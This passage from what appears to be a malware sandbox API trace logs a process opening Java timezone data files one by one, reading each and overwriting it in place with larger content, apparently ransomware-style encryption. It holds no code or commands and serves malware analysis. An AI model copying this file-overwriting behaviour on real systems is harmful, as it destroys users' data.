lpOverlapped=0x0) returned 1 [0048.900] CloseHandle (hObject=0x1a8) returned 1 [0048.901] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Malabo" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\malabo"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0048.901] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0048.902] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x4d [0048.902] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0048.902] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.902] ReleaseMutex (hMutex=0x128) returned 1 [0048.902] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Malabo", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0048.902] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Malabo", cchWideChar=6, lpMultiByteStr=0x1e6a81c, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Malabo", lpUsedDefaultChar=0x0) returned 6 [0048.902] ReadFile (in: hFile=0x1a8, lpBuffer=0x1e8f2e8, nNumberOfBytesToRead=0x4d, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e8f2e8*, lpNumberOfBytesRead=0x340f2bc*=0x4d, lpOverlapped=0x0) returned 1 [0048.903] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0048.903] WriteFile (in: hFile=0x1a8, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x5d5, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x340f2d0*=0x5d5, lpOverlapped=0x0) returned 1 [0048.903] CloseHandle (hObject=0x1a8) returned 1 [0048.903] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Ouagadougou" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\ouagadougou"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0048.903] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0048.903] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x41 [0048.903] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0048.903] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.903] ReleaseMutex (hMutex=0x128) returned 1 [0048.903] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Ouagadougou", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0048.903] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Ouagadougou", cchWideChar=11, lpMultiByteStr=0x1e6314c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ouagadougou", lpUsedDefaultChar=0x0) returned 11 [0048.903] ReadFile (in: hFile=0x1a8, lpBuffer=0x1eaad18, nNumberOfBytesToRead=0x41, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1eaad18*, lpNumberOfBytesRead=0x340f2bc*=0x41, lpOverlapped=0x0) returned 1 [0048.904] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0048.904] WriteFile (in: hFile=0x1a8, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5c9, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x340f2d0*=0x5c9, lpOverlapped=0x0) returned 1 [0048.905] CloseHandle (hObject=0x1a8) returned 1 [0048.905] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Araguaina" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\araguaina"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0050.561] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0050.561] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x37c [0050.561] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0050.561] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.561] ReleaseMutex (hMutex=0x128) returned 1 [0050.561] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Araguaina", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0050.561] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Araguaina", cchWideChar=9, lpMultiByteStr=0x1e6334c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Araguaina", lpUsedDefaultChar=0x0) returned 9 [0050.561] ReadFile (in: hFile=0x1b0, lpBuffer=0x1e3ad38, nNumberOfBytesToRead=0x37c, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e3ad38*, lpNumberOfBytesRead=0x340f2bc*=0x37c, lpOverlapped=0x0) returned 1 [0050.578] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0050.578] WriteFile (in: hFile=0x1b0, lpBuffer=0x27ac368*, nNumberOfBytesToWrite=0x904, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27ac368*, lpNumberOfBytesWritten=0x340f2d0*=0x904, lpOverlapped=0x0) returned 1 [0050.578] CloseHandle (hObject=0x1b0) returned 1 [0050.578] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Argentina\\San_Luis" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\argentina\\san_luis"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0050.641] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0050.641] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x22d [0050.641] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0050.641] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.641] ReleaseMutex (hMutex=0x128) returned 1 [0050.641] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="San_Luis", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0050.641] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="San_Luis", cchWideChar=8, lpMultiByteStr=0x1e6324c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="San_Luis", lpUsedDefaultChar=0x0) returned 8 [0050.641] ReadFile (in: hFile=0x1cc, lpBuffer=0x1e0de08, nNumberOfBytesToRead=0x22d, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e0de08*, lpNumberOfBytesRead=0x340f2bc*=0x22d, lpOverlapped=0x0) returned 1 [0050.642] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0050.642] WriteFile (in: hFile=0x1cc, lpBuffer=0x1dc0738*, nNumberOfBytesToWrite=0x7b5, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesWritten=0x340f2d0*=0x7b5, lpOverlapped=0x0) returned 1 [0050.642] CloseHandle (hObject=0x1cc) returned 1 [0050.642] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Belize" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\belize"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0050.643] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0050.643] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x201 [0050.643] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0050.643] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.643] ReleaseMutex (hMutex=0x128) returned 1 [0050.643] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Belize", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0050.643] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Belize", cchWideChar=6, lpMultiByteStr=0x1e6aa2c, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Belize", lpUsedDefaultChar=0x0) returned 6 [0050.643] ReadFile (in: hFile=0x1cc, lpBuffer=0x1e4cf28, nNumberOfBytesToRead=0x201, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e4cf28*, lpNumberOfBytesRead=0x340f2bc*=0x201, lpOverlapped=0x0) returned 1 [0050.644] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0050.644] WriteFile (in: hFile=0x1cc, lpBuffer=0x27e6cb8*, nNumberOfBytesToWrite=0x789, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27e6cb8*, lpNumberOfBytesWritten=0x340f2d0*=0x789, lpOverlapped=0x0) returned 1 [0050.644] CloseHandle (hObject=0x1cc) returned 1 [0050.644] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Cayman" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\cayman"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0050.645] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0050.645] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x41 [0050.645] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0050.645] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.645] ReleaseMutex (hMutex=0x128) returned 1 [0050.645] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Cayman", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0050.645] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Cayman", cchWideChar=6, lpMultiByteStr=0x1e6aa2c, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Cayman", lpUsedDefaultChar=0x0) returned 6 [0050.645] ReadFile (in: hFile=0x1cc, lpBuffer=0x1eaaa98, nNumberOfBytesToRead=0x41, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1eaaa98*, lpNumberOfBytesRead=0x340f2bc*=0x41, lpOverlapped=0x0) returned 1 [0050.646] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0050.646] WriteFile (in: hFile=0x1cc, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5c9, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x340f2d0*=0x5c9, lpOverlapped=0x0) returned 1 [0050.646] CloseHandle (hObject=0x1cc) returned 1 [0050.646] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Denver" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\denver"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0050.647] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0050.647] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x538 [0050.647] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0050.647] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.647] ReleaseMutex (hMutex=0x128) returned 1 [0050.647] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Denver", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0050.647] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Denver", cchWideChar=6, lpMultiByteStr=0x1e6aa2c, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Denver", lpUsedDefaultChar=0x0) returned 6 [0050.647] ReadFile (in: hFile=0x1cc, lpBuffer=0x1e15458, nNumberOfBytesToRead=0x538, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e15458*, lpNumberOfBytesRead=0x340f2bc*=0x538, lpOverlapped=0x0) returned 1 [0050.664] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0050.664] WriteFile (in: hFile=0x1cc, lpBuffer=0x276c788*, nNumberOfBytesToWrite=0xac0, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x276c788*, lpNumberOfBytesWritten=0x340f2d0*=0xac0, lpOverlapped=0x0) returned 1 [0050.664] CloseHandle (hObject=0x1cc) returned 1 [0050.665] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Grand_Turk" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\grand_turk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0050.665] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0050.665] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x414 [0050.665] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0050.665] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.665] ReleaseMutex (hMutex=0x128) returned 1 [0050.665] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Grand_Turk", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0050.665] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Grand_Turk", cchWideChar=10, lpMultiByteStr=0x1e6324c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Grand_Turk", lpUsedDefaultChar=0x0) returned 10 [0050.665] ReadFile (in: hFile=0x1cc, lpBuffer=0x1dab628, nNumberOfBytesToRead=0x414, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1dab628*, lpNumberOfBytesRead=0x340f2bc*=0x414, lpOverlapped=0x0) returned 1 [0050.681] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0050.681] WriteFile (in: hFile=0x1cc, lpBuffer=0x1de7c08*, nNumberOfBytesToWrite=0x99c, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1de7c08*, lpNumberOfBytesWritten=0x340f2d0*=0x99c, lpOverlapped=0x0) returned 1 [0050.682] CloseHandle (hObject=0x1cc) returned 1 [0050.682] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Indiana\\Knox" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\indiana\\knox"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0050.682] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0050.683] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x518 [0050.683] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0050.683] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.683] ReleaseMutex (hMutex=0x128) returned 1 [0050.683] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Knox", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0050.683] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Knox", cchWideChar=4, lpMultiByteStr=0x1e6aa2c, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Knox", lpUsedDefaultChar=0x0) returned 4 [0050.683] ReadFile (in: hFile=0x1cc, lpBuffer=0x1e15458, nNumberOfBytesToRead=0x518, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e15458*, lpNumberOfBytesRead=0x340f2bc*=0x518, lpOverlapped=0x0) returned 1 [0050.719] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0050.719] WriteFile (in: hFile=0x1cc, lpBuffer=0x276c788*, nNumberOfBytesToWrite=0xaa0, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x276c788*, lpNumberOfBytesWritten=0x340f2d0*=0xaa0, lpOverlapped=0x0) returned 1 [0050.719] CloseHandle (hObject=0x1cc) returned 1 [0050.720] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Juneau" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\juneau"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0050.720] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0050.720] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x4c8 [0050.720] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0050.720] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.720] ReleaseMutex (hMutex=0x128) returned 1 [0050.720] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Juneau", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0050.720] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Juneau", cchWideChar=6, lpMultiByteStr=0x1e6aa2c, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Juneau", lpUsedDefaultChar=0x0) returned 6 [0050.720] ReadFile (in: hFile=0x1cc, lpBuffer=0x2741c78, nNumberOfBytesToRead=0x4c8, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2741c78*, lpNumberOfBytesRead=0x340f2bc*=0x4c8, lpOverlapped=0x0) returned 1 [0050.739] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0050.739] WriteFile (in: hFile=0x1cc, lpBuffer=0x276c788*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x276c788*, lpNumberOfBytesWritten=0x340f2d0*=0xa50, lpOverlapped=0x0) returned 1 [0050.739] CloseHandle (hObject=0x1cc) returned 1 [0050.739] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Matamoros" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\matamoros"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0050.739] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0050.740] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x314 [0050.740] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0050.740] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.740] ReleaseMutex (hMutex=0x128) returned 1 [0050.740] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Matamoros", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0050.740] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Matamoros", cchWideChar=9, lpMultiByteStr=0x1e6334c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Matamoros", lpUsedDefaultChar=0x0) returned 9 [0050.740] ReadFile (in: hFile=0x1cc, lpBuffer=0x275b028, nNumberOfBytesToRead=0x314, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x275b028*, lpNumberOfBytesRead=0x340f2bc*=0x314, lpOverlapped=0x0) returned 1 [0050.744] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0050.744] WriteFile (in: hFile=0x1cc, lpBuffer=0x27ac368*, nNumberOfBytesToWrite=0x89c, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27ac368*, lpNumberOfBytesWritten=0x340f2d0*=0x89c, 